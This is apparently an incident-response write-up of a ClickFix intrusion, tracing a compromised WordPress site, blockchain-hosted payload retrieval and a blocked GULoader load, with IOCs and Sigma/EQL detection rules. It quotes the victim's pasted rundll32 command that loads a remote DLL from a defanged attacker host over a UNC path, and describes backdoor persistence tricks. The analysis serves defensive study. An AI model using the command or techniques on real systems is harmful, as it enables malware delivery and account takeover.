One Paste to Rule Them All: Inside a ClickFix → EtherHiding → GULoader Intrusion

A real-world ClickFix intrusion observed from both sandbox and endpoint telemetry, revealing the complete attack path from a compromised WordPress site to a blocked GULoader execution, including a full process creation call stack from the Windows Run dialog to the kernel.

Preamble

In April 2026, we responded to an endpoint detection alert triggered by a rundll32.exe execution with anomalous arguments on a corporate workstation. The investigation traced the execution back to a compromised European small-business website that leveraged EtherHiding, a technique that stores malicious payloads in smart contracts on the BNB Smart Chain, to deliver a ClickFix social engineering lure. The user, believing they were completing a CAPTCHA verification, pasted and executed a command that attempted to load a remote DLL attributed to GULoader via a UNC path (a file path referencing a remote network share).

Elastic Defend's behavioral rule for RunDLL32 with Unusual Arguments killed the process in under 300 milliseconds, preventing GULoader from initializing.

This post details the full attack chain as reconstructed from two independent data sources: an ANY.RUN sandbox detonation of the compromised site and real-time EDR telemetry from the affected endpoint. The combination of these perspectives yields forensic details that neither source could produce alone, most notably a complete call stack proving that SmartScreen evaluated and allowed the execution, and sub-second timing between process creation and behavioral kill.

Note: The compromised site is a legitimate European small business, a victim, not a threat actor. Its identity has been redacted. All other indicators are defanged.

Key takeaways

• The attack chain combines four distinct components, compromised WordPress, EtherHiding via BSC Testnet, ClickFix social engineering, and GULoader delivery via UNC path, into a single intrusion sequence where every traditional defensive layer has a structural reason to remain silent
• A full process creation call stack from explorer.exe through the Run dialog to NtCreateUserProcess demonstrates that SmartScreen evaluated and passed the execution, confirming the attack is entirely user-initiated with no exploit involved
• The compromised site implements platform-based filtering through its Traffic Direction System, serving the malicious payload exclusively to desktop Windows browsers, mobile inspection reveals a clean site
• User interview confirmed the social engineering loop: the victim followed the ClickFix prompt believing it was a legitimate reCAPTCHA challenge
• Behavioral detection on rundll32.exe with ordinal-based function call terminated the process before GULoader could execute, with no child processes, no network connections, and no evidence of data exfiltration

Attack overview

The following table summarizes the intrusion timeline as observed through endpoint DNS logs and EDR telemetry.

Compromised WordPress site with ErrTraffic backdoor

Domain: [REDACTED] (European small-business website) IP: [REDACTED] (Hetzner, DE) CMS: WordPress 6.9.4

The site is a legitimate e-commerce website with an active WooCommerce storefront.
The victim reached the site independently via Google search, no phishing email or messages were involved.

The attacker injected malicious JavaScript while preserving all legitimate functionality: product pages, Google Maps integration, contact forms, and analytics continued to operate normally. This is consistent with the ErrTraffic v3 framework documented by LevelBlue SpiderLabs in April 2026, which deploys PHP backdoors in the WordPress mu-plugins directory to achieve persistence and inject obfuscated inline scripts using XOR and Base64 encoding.

Must-use plugins (a.k.a. mu-plugins) are Wordpress plugins installed in a special directory inside the content folder and which are automatically enabled on all sites in the installation. Must-use plugins do not show in the default list of plugins on the Plugins page of wp-admin (although they do appear in a special Must-Use section) and cannot be disabled except by removing the plugin file from the must-use directory.

The backdoor includes self-healing capabilities: it creates a hidden administrator account, force-installs a secondary plugin that reinstalls the primary backdoor if removed, and overwrites the passwords of common admin usernames (admin, root, wpsupport) with an attacker-controlled default. This means that even if the site owner discovers and deletes the mu-plugin file, the secondary plugin reinstalls it on the next request, and the attacker retains admin access through the hidden account.

With the backdoor active, the JavaScript injection does not require modifying theme files or core WordPress code. The mu-plugin registers two WordPress hooks, template_redirect and wp_footer, that execute on every public page load. These hooks append two <script> blocks to the HTML footer.

The first block is a tracking beacon. It collects visitor metadata (IP, User-Agent, referrer, browser, OS, screen resolution) and transmits it to external domains on cheap TLDs (.sbs, .cyou, .cfd, .icu) commonly associated with malvertising infrastructure. This beacon feeds the Traffic Direction System controlled by the attacker, which uses the collected data to decide whether the visitor should receive the malicious payload: it checks user-agent, virtualized environments and blocks debuggers or advanced inspection tools.

The second block is the ErrTraffic framework payload. It contains Base64-encoded data that is decoded through a routine applying a static XOR key, then converted back to executable JavaScript via TextDecoder(). This decoded JavaScript initiates the EtherHiding chain, the smart contract query, sandbox detection, victim deduplication, and ultimately the ClickFix overlay rendering.

The injected JavaScript is appended after the legitimate page content, not replacing it. Every WordPress function, WooCommerce product pages, contact forms, maps, analytic, continues to operate normally. The site owner checking from their phone sees a clean site. Google's crawler sees a clean site. Automated uptime monitors see a clean site. Only a desktop Windows browser visiting the page triggers the payload chain. This design makes detection exceptionally difficult without server-side file integrity monitoring or explicit inspection of the mu-plugins directory.

EtherHiding: blockchain-based payload delivery

Two seconds after the page loaded, the injected JavaScript initiated outbound queries to the BNB Smart Chain (BSC) Testnet. The BSC Testnet (Chain ID 97) is a free-to-use Ethereum Virtual Machine-compatible blockchain. Smart contracts can be deployed and updated at zero cost, and their data is readable by anyone via public RPC endpoints using the eth_call method without authentication.

The following network activity was observed in both the sandbox and endpoint logs:

• OPTIONS bsc-testnet[.]drpc[.]org → 204 (CORS preflight)
• POST bsc-testnet[.]drpc[.]org → 200 (5.29 KB, eth_call response)
• DNS data-seed-prebsc-1-s1[.]bnbchain[.]org → 3[.]33[.]155[.]121 (fallback RPC)

On ANY.RUN scan Suricata flagged the POST request with signature ET MALWARE EtherHiding Exfil M2.

On the real-endpoint side, the DNS log confirms the same sequence:

• the primary RPC endpoint bsc-testnet[.]drpc[.]org was resolved first
• followed by the fallback node data-seed-prebsc-1-s1[.]bnbchain[.]org, which established a connection on port 8545 at 11:14:43.030.

Note: The primary endpoint drpc[.]org serves requests over HTTPS on port 443 through Cloudflare, while the direct BSC node uses the standard JSON-RPC port 8545.

Based on prior research by LindenSec (March 2026), campaigns using this pattern deploy up to four separate smart contracts: payload JavaScript, lure HTML template, sandbox detection logic (isHeadless), and victim deduplication tracking (isGoalReached).

Yandex Metrika, observed in both the sandbox HTTP traffic and the endpoint DNS log (mc[.]yandex[.]ru resolved at 11:14:44.026), is used by the campaign operators as analytics infrastructure for tracking victim interactions.

The use of blockchain infrastructure for payload hosting provides three operational advantages: the data is immutable and cannot be taken down through abuse reports; the RPC connections transit through legitimate CDN providers (Cloudflare, Amazon) that are unlikely to be blocked by perimeter controls; and the attacker can rotate payloads by publishing new transactions to the same contract without re-compromising the WordPress site.

ClickFix: social engineering via fake CAPTCHA

With the payload retrieved from the blockchain, the JavaScript rendered an overlay on top of the compromised site's homepage: a fake reCAPTCHA verification prompt instructing the user to press Win+R, Ctrl+V, and Enter. Behind the overlay, navigator.clipboard.writeText() had already placed the malicious command in the clipboard.

Post-incident, the affected user confirmed during interview that they followed the instructions believing them to be a legitimate CAPTCHA verification step. This direct confirmation closes the attribution loop that sandbox-only analysis can only infer: the execution was user-initiated, not automated.

rundll32 execution and call stack analysis

The command pasted and executed from the Run dialog:

rundll32.exe \\autum-path.vo8xalon[.]in[.]net\05fe317c-0981-4de2-bc8a-930d369db441\ck-3d80df5d12cdfe6450a782fc87bf66b444.google,#1

Each component of this command serves a specific evasion function:

• rundll32.exe is a Microsoft-signed system binary (LOLBin) that loads and executes DLL exports. It passes SmartScreen evaluation, application whitelisting policies, and reputation-based controls by default.
• The UNC path forces Windows to contact the remote server via SMB (port 445), with fallback to WebDAV through the WebClient service. WebClient service is usually disabled by default on most modern Windows workstations and but can be started on demand by explorer.exe. The DLL is loaded directly into memory from the remote host, no file is written to disk, no download dialog appears, and no Mark-of-the-Web is applied.
• The .google extension is functionally irrelevant to Windows but appears innocuous in command-line logs, bypassing extension-based detection patterns that filter for .dll or .exe.
• ,#1 invokes the first exported function by ordinal rather than by name, making static analysis of the entry point more difficult and evading log-based detections that match on named exports.

The C2 domain autum-path[.]vo8xalon[.]in[.]net resolves to 188[.]114[.]96[.]7 and 188[.]114[.]97[.]7, both Cloudflare addresses. The actual infrastructure is behind the reverse proxy.

Process creation call stack

The EDR captured the complete call stack from the Run dialog through to kernel-mode process creation.

The following is the annotated sequence:

This call stack establishes three facts:

1. The execution originates from the Run dialog. The call path through GetFileNameFromBrowse and SHShowManageLibraryUI in explorer.exe corresponds to the Win+R → paste → Enter sequence. The process was not spawned by a script, a browser child process, or an exploit.
2. Microsoft Defender SmartScreen evaluated and did not block. The CheckSmartScreenWithAltFile function appears in the call stack between ShellExecuteExW and CreateProcessW. SmartScreen assessed the execution and allowed it to proceed. This is structurally expected: rundll32.exe is a signed Microsoft binary, and the UNC path does not carry Mark-of-the-Web metadata.
3. No exploit is involved. The entire path from user interaction to kernel-mode NtCreateUserProcess follows the standard Windows process creation flow through documented shell APIs. The attack relies entirely on the user's voluntary action.
4. The EDR rule "Malicious Behavior Prevention, RunDLL32 with Unusual Arguments" matched on the combination of rundll32.exe with a UNC path and ordinal-based function call, killing the process at 11:15:37.393, within 300 milliseconds of its creation at 11:15:37.107.

GULoader attribution and containment assessment

The C2 domain autum-path[.]vo8xalon[.]in[.]net is attributed to GULoader based on Cluster25 reporting on VirustTotal. GULoader is a shellcode-based downloader that operates in memory with anti-VM, anti-debug, and anti-sandbox capabilities. It is commonly used as a second-stage loader for infostealers (Lumma, RedLine, Vidar) and RATs (Remcos, AgentTesla).

Post-kill analysis confirmed full containment:

GULoader did not complete initialization. No payload was delivered.

Remediation actions

The affected workstation underwent in-memory and filesystem scanning with no findings. The associated user's credentials were reset and all active Microsoft 365 sessions were terminated. The indicators listed below were blocked at the perimeter firewall. No reimaging was performed based on the containment assessment above.

Indicators of compromise

Detection logic

RunDLL32 with unusual arguments

This is the behavioral rule that killed the process.  You can find the full rule at the  following link. In this specific case it detects rundll32.exe executions combined with ordinal-based function calls. For ease of read, we'll show only the specific block that triggered the rule.

EQL Snippet:

process where event.action == "start" and process.name : "rundll32.exe" and process.command_line : ("* #*", "*,#*")

Sigma snippet:

title: RunDLL32 Execution by Ordinalstatus: experimental
tags:
    - attack.defense_evasion
    - attack.t1218.011
logsource:
    category: process_creation
    product: windows
detection:
    selection_main:
        Image|endswith: '\rundll32.exe'
    ordinals:
        CommandLine|contains:
            - ' #'
            - ',#'
    condition: selection_main and ordinals
level: high

Suspicious browser connection to Ethereum JSON-RPC Interface

Detects browser processes connecting to port 8545 (Ethereum JSON-RPC) on public IP addresses. This rule covers direct node connections; it does not catch RPC calls routed through providers on port 443.

EQL (Elastic):

network where event.type == "start" and
  process.name : ("chrome.exe", "firefox.exe", "msedge.exe", "brave.exe", "opera.exe") and
  destination.port == 8545 and
  not cidr_match(destination.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8", "::1/128")

Sigma:

title: Suspicious Browser Connection to Ethereum JSON-RPC Interface
id: 5f9b4c2e-7d1a-4b9a-bd6e-8c724125e8a1
status: experimental
description: >
  Detects browser processes connecting to port 8545 (Ethereum JSON-RPC)
  on public IP addresses. This may indicate "EtherHiding" activity, where 
  malware retrieves malicious payloads from blockchain smart contracts, 
  or unauthorized Web3 interaction.
tags:
    - attack.command_and_control
    - attack.t1071.001
    - attack.t1105
logsource:
    category: network_connection
    product: windows
detection:
    selection_browsers:
        Image|endswith:
            - '\chrome.exe'
            - '\firefox.exe'
            - '\msedge.exe'
            - '\brave.exe'
            - '\opera.exe'
    selection_port:
        DestinationPort: 8545
    filter_private:
        DestinationIp|cidr:
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
            - '127.0.0.0/8'
            - '169.254.0.0/16'
    condition: selection_browsers and selection_port and not filter_private
falsepositives:
    - Web3 developers using remote node providers via browser
    - Internal tools using port 8545 for legitimate blockchain development
level: medium

Additional hunting guidance

• Outbound SMB/WebDAV: Block port 445 outbound at the perimeter. Evaluate disabling the WebClient service on workstations that do not require WebDAV, this eliminates the SMB-to-WebDAV fallback path that UNC-based attacks rely on.
• RunMRU registry: Hunt for entries in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU containing rundll32, mshta, powershell, cmd, or UNC paths (\\).
• Blockchain RPC domain monitoring: For environments without legitimate Web3 activity, alert on DNS queries to known RPC provider domains (drpc[.]org, infura[.]io, alchemy[.]com, quicknode[.]com, moralis[.]io) when the source process is a browser.

Conclusion

The effectiveness of this intrusion does not stem from a glaring technical flaw, but from the ability to exploit the structural limits of modern defense systems. Each security layer did not "fail" due to negligence or misconfiguration: it failed for a specific architectural reason inherent to its design:

• URL and Domain Reputation: The entry point is a legitimate, active European small-business website. With no negative reputation history, domain-based filters lacked any basis to block navigation. Furthermore, the malicious payload is not hosted on the site itself, but is instead retrieved via the blockchain.
• Network Filtering: Critical connections to the blockchain and the GULoader C2 transit through "trusted" infrastructure like Cloudflare and Amazon. Blocking these flows would mean disrupting a significant fraction of global internet traffic.
• SmartScreen: As confirmed by the call stack analysis, SmartScreen evaluated and permitted the execution. Because rundll32.exe is a signed Microsoft binary and the UNC path carries no "Mark-of-the-Web" (MotW) metadata, the system found no reason to intervene.
• Application Whitelisting: The use of rundll32.exe, a legitimate operating system component, ensures passage through whitelist policies designed specifically to allow signed and trusted binaries.
• Traditional signature-based Antivirus: Because the malicious DLL is loaded directly into memory from a remote path via UNC/WebDAV, no file is written to disk. Without a physical file to scan, detections based on hashes or signatures cannot trigger.

The fundamental takeaway is that all these layers share a conceptual limit: they evaluate identity (is it signed? does it have a reputation? is it on a list?), while ignoring the behavior of the execution. The ClickFix attack succeeds by transforming a voluntary user action into a system operation that appears legitimate when viewed in isolation.

In this scenario, behavioral detection remains the only effective solution, as it is the only layer capable of analyzing not "who" is acting, but "what" is actually being done: in this case, an anomalous combination of arguments and ordinal calls from a network path. For defenders, the priority must shift from identity validation to monitoring the execution context and raising user awareness regarding increasingly camouflaged ClickFix-style social engineering lures.

References

• LevelBlue SpiderLabs, Err-Hiding and Seek: How ErrTraffic v3 Leverages EtherHiding in ClickFix Campaign, April 2026
• Sekoia TDR, Meet IClickFix: a widespread WordPress-targeting framework using the ClickFix tactic, January 2026
• Sekoia TDR, ClickFix tactic: Revenge of detection, March 2025
• Elastic Security Labs, defense_evasion_rundll32_with_unusual_arguments.toml, protections-artifacts (GitHub)